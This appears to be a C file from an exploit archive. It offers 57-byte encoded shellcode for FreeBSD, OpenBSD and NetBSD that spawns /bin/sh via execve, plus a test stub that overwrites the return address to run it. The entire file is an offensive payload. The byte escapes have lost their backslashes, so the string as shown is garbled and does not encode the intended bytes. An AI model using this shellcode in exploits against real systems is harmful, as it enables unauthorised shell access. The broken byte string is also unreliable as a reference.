/*
*BSD version
FreeBSD, OpenBSD, NetBSD.
s0t4ipv6@shellcode.com.ar
57 bytes.
-Encriptado execve(/bin/sh);
Para mas informacion ver
http://www.shellcode.com.ar/es/proyectos.html
*/
char shellcode[]=
"xebx1bx5ex31xc0x6ax1ax6ax17x59x49x5bx8ax04x0e"
"xf6xd3x30xd8x88x04x0ex50x85xc9x75xefxebx05xe8"
"xe0xffxffxffx0ex6fxc7xf9xbexa3xe4xffxb8xffxb2"
"xf4x1fx95x4cxfbxf8xfcx1fx74x09xb2x65";
main()
{
int *ret;
printf("Shellcode lenght=%dn",sizeof(shellcode));
ret=(int*)&ret+2;
(*ret)=(int)shellcode;
}
// milw0rm.com [2004-09-26]